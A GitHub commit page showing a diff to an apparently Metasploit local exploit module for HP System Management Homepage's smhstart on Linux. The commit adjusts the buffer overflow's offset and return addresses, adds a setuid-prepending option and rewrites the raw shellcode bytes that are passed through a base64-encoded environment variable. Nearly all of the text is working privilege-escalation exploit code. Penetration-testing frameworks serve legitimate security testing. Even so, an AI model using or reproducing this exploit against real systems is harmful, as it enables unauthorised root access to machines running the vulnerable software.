Skip to content

Commit 7359151

Browse files
author
agix
committed
decrement esp to fix crash in the middle of shellcode
1 parent 30111e3 commit 7359151

File tree

1 file changed

+9
-5
lines changed

1 file changed

+9
-5
lines changed

modules/exploits/linux/local/hp_smhstart.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ def initialize(info={})
4141
],
4242
'Platform' => [ 'linux' ],
4343
'Arch' => [ ARCH_X86 ],
44-
'SessionTypes' => [ 'shell', 'meterpreter' ],
44+
'SessionTypes' => [ 'shell' ],
4545
'Payload' =>
4646
{
4747
'Space' => 227,
@@ -57,17 +57,21 @@ def initialize(info={})
5757
{
5858
'Arch' => ARCH_X86,
5959
'CallEsp' => 0x080c86eb, #call esp
60-
'Offset' => 64
60+
'Offset' => 58
6161
}
6262
],
6363
[ 'Hpsmh 7.1.2',
6464
{
6565
'Arch' => ARCH_X86,
6666
'CallEsp' => 0x080c8b9b, #call esp
67-
'Offset' => 64
67+
'Offset' => 58
6868
}
6969
],
7070
],
71+
'DefaultOptions' =>
72+
{
73+
'PrependSetuid' => true
74+
},
7175
'DefaultTarget' => 0,
7276
'DisclosureDate' => "Mar 30 2013",
7377
}
@@ -81,9 +85,9 @@ def exploit
8185
pl = payload.encoded
8286
padding = rand_text_alpha(target['Offset'])
8387
ret = [target['CallEsp']].pack('V')
84-
exploit = Rex::Text.encode_base64("#{pl}#{ret}\xe8\x14\xff\xff\xff#{padding}")
88+
exploit = Rex::Text.encode_base64("#{pl}#{ret}\x81\xc4\x11\xff\xff\xff\xe9\x0e\xff\xff\xff#{padding}")
8589
cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit}' | base64 -d)")
86-
puts cmd_exec("#{datastore['smhstartDir']}/smhstart")
90+
cmd_exec("#{datastore['smhstartDir']}/smhstart")
8791
end
8892

8993
end

0 commit comments

Comments
 (0)